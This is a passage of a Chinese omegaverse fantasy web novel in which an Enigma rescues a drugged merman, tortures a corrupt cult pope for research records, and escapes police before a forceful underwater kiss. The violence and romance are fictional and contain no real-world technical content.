教皇见他走进来，按耐不住正要发火，圣路已经睁开眼，给了他一个阴沉的目光。 教皇看到了人鱼的红眼睛和尖耳朵，他肥胖的身躯从锦毯上猛然跳跃起来，双眼突兀地瞪着圣路，又看向沈继，气到颤抖：“是你……” 他忽然意识到自己不能说这些话，毕竟，他现在的身份可是悲天悯人的教皇，而不是开设人体实验室的幕后者。 “对，是我这个家伙毁了你的实验城。”沈继干脆替他说了。 这时候，两名守门的教徒已经闯了进来，精神力手枪对准了他们。 四周没其他人，教皇也不装了，他笑起来：“你既然知道，还来这儿是自投罗网？我还没见过这么狂妄的人。” 他的目光紧紧地黏在圣路身上，激动得难以平静：“很好，很好，回来了就好。” 圣路紧绷着身躯，没有给教皇一个眼神。 要不是沈继抱着他，他没有办法平静地呆在这儿。 从实验城出来才几天，他已经没办法想象这些年他究竟是怎么过的。 “给我。”沈继直接向教皇伸手了。 “你说什么？”教皇都懵了，这紧张怎么一点儿紧张的情绪都没有。 “你们给人鱼注射药剂的那些资料。” 教皇喜悦之情已经溢于言表，他觉得自己胜券在握，冷笑：“什么？你来这儿买东西吗？你究竟在说什么？这里有精神力控制仪，就算你是精神力高手也没有用。” “那你有安装信息素阻隔仪吗？” 第29章 第二十九章 感觉好爽。 “信息素阻隔仪？”教皇皱眉。 歌雅人类对信息素方面的边界控制比较松懈, 尤其是巨神教的宗旨，洗脑教徒们对高等级信息素的忽视，要求教徒进行自我免疫训练。 所以巨神教没有一个信息素阻隔类的控制仪。 教皇明白了什么, 他眼中冷意森森：“你是不是太自负了，巨神的神威可以庇护他的子民不受信息素干扰。” 巨神教神神叨叨，但他们也有业务, 据说这里的教徒每年支付金钱给巨神教，用于进行精神力开发和信息素免疫训练，至于有没有用，就不知道了。 沈继带着厌恶的冷笑：“洗脑别人，却把自己给洗脑了吧。” 教皇抬手来, 哈哈大笑：“那你可以试试。我的两名守卫，是信息素领域的佼佼者，就算是等级比他们高的alpha信息素，也无法奈何他们。” “实验室跟你通风报信的那个家伙, 没说我是个Enigma吗？” 教皇心中一沉，想起了那个科学家临死前说的话，但面上镇定：“是Enigma又怎样, 你没办法破解精神力子弹吧。” “沈继，你把我放下来。”圣路忽然道。 沈继知道他是怕拖累自己。 虽然表现得滴水不漏, 但其实信息素这事，他确实不擅长。 沈继在星际时代一直是伪装成alpha，为了避免泄露身份, 他连信息素都没有释放过, 更别说威慑信息素这东西。 “还在干什么？快开枪打死他！人鱼不用管，他死不了的！”教皇猛然向两个教徒大喊起来。 这一瞬间，圣路抓紧了沈继的肩膀。 教皇话音未落, 只听见“当啷”两声，两把精神力手枪掉在地上。 两名教徒颤抖着身子跪了下去，双手支撑在地上爬不起来，想抬头但抬不起来。 “他……他……是……”其中一人勉强能开口，只是呜呜咽咽也说不清楚。 而另一个冷汗如瀑，眼神涣散，最终跌在地上，情况十分不乐观。 教皇脸色阴沉：“你是什么等级的Enigma？” “……” 沈继也不清楚自己等级多少，这是他临场发挥的效果，显然没有控制好力度，有点过了。 幸好这两个教徒都是alpha，如果是beta，他的威慑信息素就完全不起效果了。 而教皇就是纯正的beta，没有被信息素影响。 沈继把圣路放在旁边椅子上，拿了地上一把手枪，走向教皇。 “等等……我得想想……”教皇惊慌地后退了两步，脚底用暗劲踩着地毯下面的按钮。 沈继注意到他的动作，知道他在叫后援，但按钮已经按下，此时阻止也已经来不及了。 冰冷的枪口戳进了教皇一条臃肿的肚子缝里。 “等一下……” 砰！ 教皇瞪大了眼，想不到他零帧起手，连缓冲的时间都不给。 眼看自己肚子破了个大窟窿，肠子和血流了一地，教皇倒在地上当场就要死去。 “我没打中要害。”沈继提醒他。 教皇胸膛一颤，一口气又喘回来了。 沈继走近他身旁，枪口居高临下，对准他肩膀的位置。 教皇激动得摆手：“不要开枪……我说！我说！” “我现在不是在跟你商量。”沈继按下扳机。 一颗精神力子弹穿透了锁骨，教皇张大了嘴，发出惨叫，浑身颤抖，原本红润的脸色此刻灰白发青。 沈继看了一眼弹匣：”还有两颗子弹。” “别……我马上去拿资料！” 眼看着他又拉了一下枪栓，奄奄一息的教皇居然跳了起来。 他瞪着布满红丝的眼睛，顾不得浑身滴滴答答的流血，一手捂着肠子，臃肿的身子像个陀螺一样飞快地动起来。 他穿过了两个博古架，从保险箱里面找到了好几盒药剂和一沓资料。 “全……全在这里了。” 沈继接过几种药剂，看向圣路：“是这些吗？” 圣路正全神贯注看着他，被他突然转头来一问，一反常态地怔了好一会，才把目光转向他手里的药剂盒：“是这些。” 这时候，沈继在博古柜上看到了一根材质奇特的绳子，用五颜六色的丝线编织，通体散发着银光。 圣路目光一冷：“这是用人鱼的头发编织成的。” 沈继见这根绳子纤细，但盘起来有人半身高，长度至少二十米，不知道用多少人鱼的头发才编成。 教皇喘着气，从一个冰柜里拿出一个血袋，颤颤巍巍地打开袋口。 看情况这是之前从人鱼身体里抽出的血，人鱼的返祖血脉，是恢复伤口极强的妙药，这是教皇给自己留着以防不时之需的。 沈继抢过他凑到嘴边的血袋。 教皇想伸手，又不敢碰沈继，只能怂道：“给……给我吧……” 沈继微微一笑：“看来你也害怕疼，否则怎么会蠢到等不及在我面前拿出来。” 教皇萎顿着身子，没有动静。 沈继一看他不反抗，察觉到事情不这么简单。 他走近冰柜前，这上面还需要指纹解锁。 这种事，沈继已经熟练了，他切下教皇一根大拇指，按在锁上。 教皇大概是被沈继虐狠了，居然觉得切一根手指已经是对方大发慈悲了。 沈继一打开冰柜，顿时眼神冰冷。 圣路坐在椅子上，看见那一柜子满满当当叠放的东西，一想到这全是从他体内抽出来的，忽然感到一阵反胃。 “存货不少啊。”沈继撇了一眼教皇。 教皇一听到他说话，就浑身发疼，不控制的发抖。 “你……要干什么？” 沈继把枪口抵在柜门上。 这显然戳中了教皇的软肋：“求你了，别动这些……你想要什么都行！” 沈继开了枪，只听血袋炸裂的声音传来，流出的血从柜子口缝隙不断溢出来。 教皇已经要疯了，他像个吸血鬼一样，爬到柜子旁，想接住那点血喂到嘴里，被沈继抓住了长长的头发绑在保险箱门的把手上。 他一改虚弱状态，瞪着沈继，露出张牙舞爪的姿态：“给我……给我，给我！快给我！” 可惜他头发被绑住，努力低头也舔不到地上的血。 之前被威慑信息素按在地上的那名教徒，虽然感到痛苦和无能为力，但一直认为这不过是信息素带来的假象，教皇会给他们带来救赎。 可如今看着无所不能的教皇这幅狼狈不堪的模样，他的世界观完全被颠覆了。 眼前这个年轻的Enigma更像传说中的恶魔，一股油然而生的寒意爬上他背脊。 因此当沈继拿起地上另一把手枪时，他无法阻止，也不想阻止。 沈继抱起圣路，准备离开。 “你不杀他吗？”人鱼的手自然地放在他肩臂上。 沈继想起十年后被教徒们踩成泥的教皇，道：“留给你玩吧。” 圣路回头看着教皇，原本阴郁苍白的脸上露出了病态冷酷的笑意：“玩吗？” 教皇抬眸，撞上人鱼那对阴冷猩红的眼珠，浑身畏缩了一下。 一阵嘈杂的声音从天上传来，沈继看向窗外，教堂外有十几辆悬浮飞车和警车，天上也有穿梭警机。 走廊外传来踢踏的脚步声。 是教皇的救援到了。 “看来暂时不能走大门了。”沈继道。 圣路被他抱在身上，感受到他说话时胸膛的震动和那颗心脏跳动的声音，连接着自己的心跳。 曾经暗无天日的实验室像一双巨大的黑手，而他被当做一块血淋淋的海绵，那双黑手不断用力将他拧干压榨，挤出一滩一滩的血水，仿佛取之不尽。 那片阴影完全笼罩在他人生中。 直到现在，沈继的出现完全驱散了这双手的黑影。 ———— 由于房门没有关紧，走廊内，众人已隐约闻到了一股威慑信息素，有些精神力稍低的alpha已感到呼吸困难。 “教皇踩碎了紧急救援按钮，情况十分紧急，现在检测到空气中有Enigma信息素残留，请立刻派信息素专家支援。” 一行警察和教徒穿过走廊，快速布置好警力，谨慎地推开了虚掩着的大门。 一打开门，所有人都愣了。 只见教皇上半身残破不堪，鲜血直流，他肥墩的身体生无可恋地坐在锦毯上，一根长长的五颜六色的绳子绑在他肋下。 窗户边一个黑发黑眸的年轻人，怀里抱着一条人鱼。 一位长官立刻通知天上的警机：“嫌疑人站在十四楼窗边，他手上有人质，是……一条人鱼。” 圣路听见这话，差点没笑出声。 居然把他当成人质了。 沈继跳上窗台，抓住绳子另一端在手掌结结实实绕了两圈。 所有人的枪对准了他。 长官冷道：“想清楚，这里是十四楼，这点绳子长度是绝对不够你安全落地的。” 沈继回过头来道：“快抓紧你们的教皇吧。” 说完抱着人鱼纵身一跃，盘起的绳子飞快窜出去，眼看着绳子快倒头了，另一端还绑在教皇身上。 教皇直接被创飞到窗边。 糟了！所有人瞪大了眼睛，向教皇飞扑过去！ 下落时，狂风拍打着脸庞，掀起两人的头发。 在天上警机的一丛丛灯光下，圣路抓紧了沈继的肩膀，将脸庞贴近他的脸。 这种感觉，真的好爽啊…… 第30章 第三十章 主人级别。 在下落到中间时, 坠势忽然停止，手腕上方传来了稳定的力度，看来是教皇被拉到窗边了。 沈继及时甩出自己的精神丝线, 抓紧了教堂外那个巨大挂钟的钟摆。 教皇房间内。 所有人扑过去拉住了绳子，抓紧了教皇。 教皇目眦欲裂地挥舞着手臂起来：“快！剪掉绳子！我要摔死他们！摔死他们！！” 所有人怔然了，教皇往日那张慈祥红润的脸庞, 此刻仿佛魔鬼一样狰狞扭曲。 难以置信，眼前疯狂发癫的人与曾经那位尊贵的教皇是同一个人。 教皇陡然意识到自己失态，眼神一动，顶着苍白的脸，虚弱道：“谢谢, 谢谢你们赶来救我。” 警察探出窗口，低头只见绳子下端已不见人影，只有一根绳子晃晃悠悠的垂着。 地上也不见有尸体。 “人不见了？！” “不，等等！他们在挂钟下！这是怎么做到的？” 挂钟和绳子的距离至少有三四米, 就算他能用绳子借力，可是他身上还挂着一个人质呢！ 狂风吹动河道上的水雾。 挂钟的摆锤不疾不徐地摆动着，一下, 两下。 两个人刚好坐在摆锤上。 一群孩童抬起头看着天上像飞鸟一样的警机。 此时是刚入夜，穿梭机不断在教堂上方盘旋。 十几道强光全部笼罩在两人身上。 由于出现了未知的Enigma和人鱼, 又牵扯到教皇，消息很快传出，当地媒体蜂拥而至。 在D国, 人鱼因为巨神教的引导而被视为邪恶之物, 但在其他国家，人鱼依然是最可贵的保护物种。 于是，这件事又引来了全世界所有平台的转播。 底下人们的闪光灯不间断地闪耀着。 光芒强烈, 在狂风之中，圣路坐在钟摆上，他双手紧紧抱着沈继的脖子，把脸埋进他肩膀：“我怕，沈继……” 在现场警方和全世界眼中，这位可怜的人鱼已经被吓得惊慌失措，甚至不得不紧紧抓住了嫌疑人。 “……”只有沈继知道这条诡计多端的人鱼在干嘛。 “你怕，但为什么要啃我脖子？”沈继歪开了脑袋，但于事无补。 人鱼的手紧紧抓着他肩膀，悄无声息的吻紧紧压住跳动的脉搏，舌尖抵住他颈侧皮肤，吮吸的力度比烈日还灼热。 “不知道，我……忍不住……”他是真的忍不住。 他感觉到圣路的指尖泛起涟漪般的颤抖。 沈继目光盯着前方无数的警机和媒体，面无表情地压低声音：“你要变态也该看看场合吧。” “没关系……我不介意。”他含糊着说。 “我介意。”沈继无语。 圣路无声地笑起来，病态的眼神渐浓渐深，一阵轻微的鼻息扑在他脖子边上。 直到一团暧昧的红痕出现在他脖子上，才舍得离开。 这时候，警方呼叫的救援已经到场，针对Enigma信息素的信息素专家，以及谈判专家。 一辆工程车高高地升起机械手臂，手臂上的围栏和他们齐平，上面站着一位谈判专家。 他面向沈继，展开自己的专家徽章。 “您好，我是第五层的谈判专家，您有什么需求，我们可以好好谈谈，请不要伤害人质。” 第五层属于国联部，因此对人鱼倒是十分珍重。 “……” 沈继笑了：看不出来我才是被骚·扰的那位吗？ 教堂下面已经铺满了充气减震垫。 第五层的精神力小队也到了，众人望着教堂外的钟摆，发出了疑问。 “什么情况？” “一个Enigma劫持了一条人鱼，还把教皇折磨成了番茄酱卤肥肠，那场面……啧。” “？” “据当地警方所说，这个Enigma的信息素等级非常高。” 一位alpha队员听闻此话，立刻露出厌恶的神情：“不会吧，某些Enigma仗着那点信息素，平时耀武扬威就算了，现在还想翻天不成。” “唉，这点事也值得让我们出动吗？我还想着能放假呢。” 第五层小队大部分是alpha和omega，对于性别为Enigma的嫌疑人，或多或少都有些负面印象。 他们所接到的任务中，Enigma大多只是仗着信息素在胡作非为，实际上没有什么能力。 也难怪他们抱怨起来。 D国警方那位长官道：“诸位，最好不要小看他。” 这其中，只有第五层的队长非常认真地下达了命令：“马斯，钟摆的位置在七楼，你到七楼左边窗，利用异能把人质带下来，一定要确保人鱼的安全。” 叫马斯的男人就是之前抱怨的那个alpha。 他看了一眼教堂外的身影，眼神阴狠，志在必得：“放心。” 他穿上厚厚的信息素阻隔服，就算没有这衣服，他也自信能救下人质。 沈继低头观察地上的情况，人太多了，除了警方和第五层，还围满了吃瓜群众。 歌雅人是不是都没事干了。 他就算顺利落地，想要立刻离开，也要通过这群吃瓜群众。 对面的谈判专家还在单方面僵持：“您有什么要求？苦衷？尽管说？” “先把人群疏散开。” “好好，但是你得先把人质放过来。” 沈继示意怀里的人鱼：“让你过去呢。” 他觉得这未尝不是一个好事，对于圣路来说，自己随时会消失，如果他能留在第五层，有国联保护，那么他的安全就完全可以保证了。 “不可能。”圣路用一双病态的可怜兮兮的眼看着他，紧紧抓住他的腰，恶劣地笑道：“除非把我的手剁下来。” 其实他隐约也能猜到，沈继之所以这么着急地要帮他寻找资料恢复人腿，大概是要找机会离开他了。 对面的谈判专家愣了一下，向上级报告：“我是X355，情况比我们想的糟糕，人质疑似有斯德哥尔摩症。” “……” 对待圣路，沈继一旦稍稍放纵，他就会得寸进尺，要是温柔一点，他会爽到晕过去，所以，最好还是冷酷一点。 他看着他，眼神已变得十分冰冷：“你该离开了。” 圣路睁大了眼，眸珠一颤，顿在那里，仿佛被他的眼神钉住了灵魂，动弹不得。 强光灯照射下，喧嚣的世界变得寂静，只剩沈继那双冰冷的眼，笼罩了圣路的心跳。 在一瞬间窒息后，似乎戳中了某处爽酸又兴奋的点，一种奇异的感觉油然而生。 Enigma冷脸下来，完全是主人级别。 圣路的心脏狠狠跳动起来，他的脸悄然无声地红了，他的唇轻轻翕动着，沉醉在病态的世界里：“对不起，这样好像……更没办法……离开了。” 怎么回事？明明应该是非常难受的时候，可是被他这样看着，他不但一点不伤心，反而有一种酥透骨头的爽感，袭遍了全身。 最致命的一点是，他的脖子上还有自己刚刚做出来的印记。 啊，好爽，太爽了。 怎么会有这么爽，这么涩的家伙，这让他怎么离开啊？ 他的呼吸战栗起来，全身颤抖，眼中露出了沈继所熟悉的那种病态的神韵。 沈继：“……” 该死啊，他是低估了圣路的变态程度。 底下的摄像机不断放大，画面中，人鱼紧紧抓着那个Enigma，浑身颤抖，而对方则冷着脸。 这画面被转播，全世界网民开始热烈讨论。 【天，他害怕得浑身发抖。】 【竟然遇到了这么可怕的事情，可怜的人鱼。】 【他应该是怕掉下去吧，有恐高的人都是那样。】 【无论如何，快救救他吧。】 这时候，画面中拍到了七楼窗口马斯，他似乎正准备利用精神力救下人质。 网民们兴奋地等待着。 【那是第五层的马斯吗？】 【据说是能用粘力超强的精神力吸附任何东西。】 【快点吧，我们的英雄马斯。】 【啊啊啊啊，今天居然能看见英雄拯救人鱼的浪漫剧情。】 马斯站在窗口，透过挂钟的边缘，看见了人鱼的背影，那像月光倾斜而下的长发，银蓝色优美的耳鳍，以及脸庞的一丝弧度。 那一瞬间，他冷傲的心中也产生了无限遐想。 队长在对讲机提醒他：“马斯，不要大意，只要把人质救下来就好。” 马斯心中冷哼一声，自己已经穿着信息素隔绝服，难道还要留着这个该死的罪犯吗？就因为对方是Enigma吗？ 他早就受够了这些自命不凡的Enigma。 对面的谈判专家也注意到了马斯，他默契地吸引沈继的注意，好让对方出手救下人质。 在网民们紧张的瞩目中，马斯的双手伸出窗外，绽放出精神力。 左手的精神力悄然延伸靠近人鱼，另一只手的精神力则擅自决定袭击沈继。 “先生，至少让我们知道你攻击教皇的原……” 谈判专家一边说着，余光看着马斯的精神力已经接近了人鱼的后背。 那块精神力像彩泥一样，一点点扩大，直到完全吸附了人鱼的身体。 成功了！ “沈继！”圣路一瞬间睁大了惊慌的眼睛，一股力量向后拖住了他的身体，使他的手被迫离开了沈继。 “不要！”他向他伸出手。 沈继伸手抓住了他。 同时一个精神力化作的蚕茧，出现在圣路四周，像一道紧密的机械。 施展，运动，交错，环绕，回旋，加速！ 黏附在圣路身上的那股外力，立刻被茧壳绞烂得稀碎。 陡然被绞烂的精神力，让马斯的精神海遭受巨震，他被这股反作用力压制，往后跌在地上。 更别说他还想袭击沈继的另外一条精神力，连对方的衣角都没碰到，就已经被彻底绞断。 他惊愕地跌在地上，仿佛还没回过神的模样。 尽管如此，沈继却自始至终没有回头看马斯一眼。 这下全部人都愣了。 网民们也不可置信地看着转播画面。 【怎么回事？】 【刚刚好像有一团银光在人鱼身边出现，马斯就摔到了。】 【那个嫌疑人不仅是Enigma，而且还是精神力高手！】 【比这更恐怖，马斯就算在第五层中，战力也是排的上号的，居然这么轻易被反杀了。】 圣路被沈继拉了回来，撞在他身边，立刻紧紧抱住他，埋在他肩膀，喘着暧昧的气息。 啊～这感觉越来越奇怪了，怎么会也这么爽的Enigma，好兴奋，甚至有点想要尖叫。 沈继看向谈判专家：“他自己想走会走，我没有让你们动手吧。” 那谈判专家完全怔然了。 主要是，人鱼他也不会走啊。【你现在阅读的是魔蝎小说 moxiexs】 30-40 第31章 第三十一章 手在干嘛？ 跌在地上的马斯终于回过神来, 自己在全世界网民面前这么狼狈，可对方甚至连回头看一眼都不屑。 他心里憋屈到极致。 不，不对, 他刚刚太轻敌了，不应该在这种情况下还想着要一心二用。 他必须全力扳回一局才行。 他猛的站起身来，拿出配备的精神力手枪, 对准了窗外的身影：“马上把人质放开！否则我开枪了！” “马斯！你在干什么？”队长冷道。 真的完全失算了。 马斯这个家伙居然拿精神力手枪对准Enigma，要知道，Enigma这个性别过于稀少，政府对Enigma这个性别是有特殊政策的。 就算是犯了极大罪过必须死刑的Enigma，也必须接受重重审核, 才能执行死刑。 而执法人员在执法过程中不能用精神力手枪对准Enigma。 这条规定让众多执法人员怨声载道，对Enigma也充满了偏见。 其他人道：“队长！马斯没错，不可能让那家伙为所欲为吧！” “有什么后果，我们愿意和马斯一起承担责任。” “我也同意, 趁这个机会让那些自以为是的Enigma看清楚，他们没有免死金牌。” 队长没有被队员们带动情绪，只是闭上眼：刚刚那个Enigma对精神力的转化能力, 简直可怕。 尤其是那个茧壳，用同样是精神力制造的子弹去打它, 不是个明智的选择，可惜到了这一步，马斯是不会收手的。 也许, 这是他成长的时机。 见马斯拿出手枪, 那个谈判专家也吓了一跳。 看热闹的吃瓜群众纷纷激动地喊着好样的，有的人甚至鼓吹起来，认为这一枪将彻底改革Enigma在金字塔顶端的不公模式。 只要他按下扳机, 这一枪将轰动世界了。 可是沈继依然没有回头，他站起身道：“抓紧肩膀，走了。” 在狂乱的夜风中，他站在左右摇动的钟摆上，圣路抱紧了他的双肩。 “我让你不准动！”马斯被完全忽视了，他捏紧了枪，咬牙提声道。 马斯举着手枪，那条人鱼在Enigma的肩膀后面转动眸珠，看向自己，那双原本无辜的眼睛忽然在一霎那，变得嗜血而冰冷。 像魔鬼的眼睛攫取了他的心魂，马斯浑身一颤，手枪差点掉在地上。 沈继终于回头撇了一眼后方，但他不是看向马斯，而是在打量周围的环境。 底下的人疑惑道：“他要做什么？真不怕死吗？” “看见了吗？这家伙的核心力可真强。” 队长皱眉：“他是要准备离开了。” “怎么离开？难道要直接跳下去？” 在众人仰起的目光中，在丝滑的夜风中，沈继伸出一只手，精神力化作无数丝线在风中飘拂，仿佛细细的蚕丝一样。 它们从他手中出发，随着风的方向生长，越结越厚，越来越快，像寻找生命水源的植物根系，在风中不断生长探索，最后终于落在了教堂外那条红蛇通道外壳。 马斯冷笑着，沈继的忽视让他觉得自己完全受到了侮辱，他已经彻底被激怒：“好吧，你自己找死，那就去死吧！” 他扣下了扳机，砰的一声巨响，一瞬间，所有人都睁大着眼睛。 然而什么都没有发生。 精神力子弹打出去，不见了，沈继也消失了。 教堂外巨大的挂钟依然摆动着它的钟摆。 为了弄清楚真相，警方连忙将刚刚录下的画面重新慢放。 为了弄清楚事情经过，警方辅助了精神力探测技术，这种技术能完全具象出视频中的精神力。 画面中，只见沈继的精神丝线已经结绕上红蛇通道的边缘。 那些如蚕丝一般的精神丝线随风飘扬，但当它们叠加在一起，柔韧地如同牛筋。 随着通道结绕完成，沈继抱着人鱼也离开了钟摆。 也就是这时候，马斯扣下扳机，精神力子弹激射出去，穿透玻璃，在运动过程中裂开金属外壳，显出威力巨大的精神力内芯。 击碎狂风的子弹内芯逼近了沈继后背，一层厚厚的茧壳拦下了子弹。 尽管子弹已经穿透茧壳最外围，但最终还是在茧丝的不断攻击下，逐渐削薄，随后消磨殆尽。 警方把录像速度慢放再慢放，还是没能看清沈继那层茧壳究竟是怎么在一瞬间出现的。 而沈继带着人鱼到达红色通道外围后，身影消失在录像之外。 没有人知道他去哪了。 喧嚣的世界寂静了一秒，随后热闹起来。 “看来，有的Enigma是真的厉害啊。” ———— “放手了。”沈继抖了抖肩膀上那颗装死的脑袋。 因为抖得太舒服了，圣路闭着眼睛故意不理他。 沈继看穿了他的心思，也不动了。 “继续，好舒服。” 沈继侧了侧头：“把你的两个小扇子收回去。” 圣路睁开眼睛：“什么扇子？” 沈继眼神示意他脸侧的那对耳鳍。 人鱼的耳鳍不知什么时候跑出来，尖尖地戳着他的脑袋边，有点痒。 尤其在教堂外的时候，圣路还一直紧紧贴着他。 沈继也不去伸手碰那两个耳鳍，就怕不小心戳中某个变态的兴奋点，把圣路给摸爽了。 圣路收起了耳鳍，但不肯下来。 他抱着他淌过教堂对面那条浅浅的河道，回到郊外的小树林，那里还放着之前他们留下的那架单人穿梭机。 把人鱼塞到座位上，两个人挤在驾驶舱里，打开从教皇那得来的几盒药剂。 都是用歌雅文字写的专业名词，沈继对药理这方面也不了解。 他又翻开那一沓资料，厚厚的全是关于人鱼血脉的研究。 沈继在一大片文字里找到了关键字：【针对人鱼的返祖血脉，开始注射时间一周一次，可强制保持人鱼形态，后面药效延长，一月一次，如果停止注射，药效两月消失，消失后将变化成人形态。】 在这些资料中，沈继还得到了一个意外收获。 【研究证实，0001号继承人鱼祖先的九成力量，注射A药剂，能强制其保持人鱼状态，无法生出人腿，避免其逃跑。 注射C+B药剂，可克制返祖血脉中的力量与精神力觉醒，避免其不受控制。】 看来他们给圣路注射药剂，不仅是为了防止他逃走，更重要的是，怕他体内的力量觉醒。 不过这上面没有说到关于力量觉醒的具体细节，大概连实验室也还没搞清楚。 第一次穿越歌雅时，沈继和雷伊他们在这附近的一家小镇上的酒吧休息过。 沈继驾驶穿梭机，寻着记忆中的路线，到达了那座小镇。 那里的人整天喝的醉醺醺的，根本不用担心有人会注意他们。 一路上，圣路只是用那双深邃的眼睛看着他，没有说话。 沈继发现从教堂回来后，圣路就安静了不少，之前两个人独处时，人鱼的骚话可是一直不停的。 鉴于之前多次被套路成为他play的一环。沈继决定还是先静观其变，就是不要理他，不要理他，不要理他。 昨晚的事情闹得这么大，为了安全起见，他还是把圣路放在了树林里。 天雾蒙蒙地刚亮的时候，沈继决定出去找一家药店，询问关于药剂的事。 圣路伸出手：“我也要去。” “你跟来干嘛？给我当挂件吗？”沈继无视他。 抱着一条一米九的人鱼跑来跑去，他的手臂没爆炸，已经算他身体素质过硬了。 而且，这是人类世界，他怎么能抱着这家伙到处跑。 “可是人鱼会害怕啊……”他抱住沈继的大腿。 沈继垂眸看着粘着他耍赖的人鱼，对方抬起一双狗狗眼可怜兮兮地盯着他。 他脑海中陡然闪过沙星组织那位穿着黑西装的变态领袖，那双嗜血的红眼睛。 那个碧奥兰子爵，那位马斯先生，包括全世界，都被恶魔的外表迷惑了，但是…… 沈继：“这招对我没用。” 他可是见识过恶魔真实的模样。 “可你刚刚……我害怕……你会抛弃我。”圣路垂下脑袋，声音是前所未有的低落。 沈继：“那你的手在干嘛？” 人鱼抱着他下半身，一只手趁机贴着他的膝弯滑上他大腿，力度又大又涩情，隔着裤子的手指尖几乎都要掐进他大腿肉了。 尤其还伴随着圣路那时不时的喘息：“哈……亲爱的，我没干什么呀……” 他的手掌本来就比普通人大，这么用暗劲揉动，五指微张，几乎拢住他半个腿围，甚至得寸进尺，逐渐靠近他腿根。 “你当我是死人没感觉吗？”沈继垂眸看他。 人鱼抬起头，惊讶的眼神中别有深意：“原来你有感觉的吗？” 沈继：“……” 一条长长的精神力绕过人鱼双手到双肩，环绕缠住他的尾巴，自动把他绑起来。 圣路扭动着被捆绑的身子：“啊，太紧了，沈继，好痛。” 沈继蹲下身：“我绑的不紧。” “嗯……没有，我才没有……嗯哈……才没有觉得很爽，没有……” 眼神望着他，都快滴水了。 “……” 沈继站起身：“乖一点，等我回来。“ 说完就离开，徒留圣路红着脸。 第32章 第三十二章 偷袭强吻。 这小镇上有间大诊所, 可以提供病情询问。 在大厅的时候，沈继看见新闻上的媒体在播报昨天的事情。 【关于昨夜教堂皇袭击事件，警方在教皇的房间中发现大量被破坏的人鱼血液, 以及各种保存完好的人鱼器官，多年来，巨神教一直将人鱼族魔鬼化, 今日，各国发文表示D国政府是人鱼濒临灭绝的罪魁祸首。 针对昨夜事件，遭受各国舆论压力的D国政府正重新考虑，是否要加入国际人鱼保护组织。】 沈继觉得讽刺，事情闹到这么大, 这个所谓的国家政府居然还在思考是否加入人鱼保护组织。 看来人鱼在D国灭绝，是迟早的事。 沈继没有直接拿药剂出来，而是将药剂名称誊抄在纸上。 医生看着那两张药单，皱紧眉头：“这是哪个兽医开的单子？” “是我朋友请医生开的。” “那你朋友去世多久了？” “他还活着。” 医生盯着他, 警惕性极强：“普通人承受不了这么刺激的神经药物。光是这第一项药剂，就会使大脑保持亢奋状态，类似纯浓度的致幻剂。这些一般是用来针对大型野外动物的。” “照你这么说, 会对性格产生影响吗？”沈继不自觉试图为圣路的变态寻找原因。 “这个不好说，现实中我还没有见过这样特殊的案例, 但是这类药物确实容易引起精神错乱，感觉异常。” “现在有补救的措施吗？” 医生打量了他一会儿，眼神几乎将他当成一个虐待狂或危险分子来看待。 沈继直接道：“我不是, 别想了。” “没有什么有用的补救措施, 只能等药效过去。” 最后沈继只拿了几瓶营养液，付了钱就离开了。 小树林内，人鱼倚在树下, 双手被绑在一起，由于挣扎的力度，尾巴也被勒出一丝丝红印。 沈继帮他松开精神力的时候，发现他已经睡着了。 他紧闭双眼，眼角微红，唇色也透出艳丽的红，脸色仿佛还有一缕红晕，仿佛情热后的迹象。 他苍白的手腕也被这些暧昧的红色所晕染。 但随着他精神力的消失，这些红痕也因为强大的自愈力而消失，恢复了原有的白皙。 此时上午还未过去，阳光疏影斜流下来，落在人鱼身上，显出难得的宁静。 沈继见他尾巴上的光泽变得暗淡无光，手指皮肤干枯。 大概是药效的副作用又来了。 只要尾巴还在，人鱼就离不开水。 沈继把他抱起来，找到树林里一片泉水。 他淌入水中，清澈的水质，映出天空的温柔，两片白云浸染了人鱼黯淡的尾巴，色彩渐渐显出银蓝的华丽。 水天融为一体将他拥入怀中。 沈继放开手，浮力让人鱼飘在水上，长长的银白头发吸满了水渐渐沉下去。 沈继看见水慢慢灌进他的尖耳朵。 小时候在梦里，圣路最愿意他摸他的耳朵了。 不过在歌雅，长大后的沈继被圣路的变态震惊了，他连瞪他一眼都能让圣路浑身不对劲。 所以摸耳朵这种隐私的事，就更不可能去做了。 沈继伸手摸了摸他耳廓上尖尖的部位。 沈继碰了一下，又及时收回手，见圣路没有醒来，确定他脸色平静也没有那些可疑的喘息，才继续摸了两下。 软软的，有韧力，带点温度，触感和梦里那种虚无缥缈的感觉是不一样的。 在他不知不觉间，几缕长发已经悄悄划过水底靠近了他的腰和手臂。 像灵活的触手一样快准狠，水花四溅，沈继还没来得及看清，头发已经紧紧地缠住了他的身体。 沈继被他拖进水底，几个泡泡咕噜咕噜地往上涌。 水中的一双手抬起他的脸，冰冷的吻强制压近。 感到对方冰凉的唇瓣张开，温热软腻的舌头融进他口中。 那双唇颤抖而坚定，推进他口中的吻突如其来的强势，人鱼手腕的跳动贴着沈继颈上的脉搏。 沈继的双手已被长发束缚在后，他被迫仰起头，接受人鱼狂放又热烈的吻。 在涌起水雾的世界里，他看到圣路那双血腥深邃的眼睛，带着如此惊人的情·欲。 可恶的家伙得寸进尺，越吻越深，越吻越激动，不断用舌尖纠缠，勾起又抵住，含住又放开，反复舔舐，充满热烈和野性。 银蓝的尾巴末端勾起贴近他身体，浓烈的占有欲翻天覆地。 他想稍退开一点距离，圣路的吻立刻迫不及待地追过来。 沈继偏开角度，吻了一吻他的下唇，延续吻到他的下巴和锁骨。 omega一开始气势汹汹，在吻上用劲，结果Enigma还没怎么回应他呢，他自己反而先情动了，脸色红得滴血，眼神迷情，双手颤抖，好像自己给自己弄没劲了。 人鱼的身体渐渐软下来，力气一松懈，沈继挣开了他的头发，双手恢复自由。 像是嘲笑他一样，还捏住他耳朵扯了一下。 圣路抱住他肩膀，靠在他身上，用自己的尾巴在他身上蹭了又蹭，磨了又磨。 沈继摸了摸他漂亮的腰侧，这时候已经忍不住了。 他要呼吸空气。 在生存面前，其他想入非非的事情都必须让步。 他抱住他的腰，往上浮出水面。 两人探出水面，沈继只来得及呼吸一口，人鱼又立刻吻他。 毕竟人鱼不需要探出水面来恢复血条。 又是热烈缠绵的吻，他咬住沈继脖颈，人鱼的力气这么大，手指一扯就撕开他的领口，按住他的锁骨，在他胸膛上留下一寸寸美丽的印记。 贪婪之极，陶醉之极， 沈继听见他在自己身上发出那种啧啧声，像小孩吃糖一样。 说实话，这样真的很有感觉。再这样下去，迟早要擦枪走火。 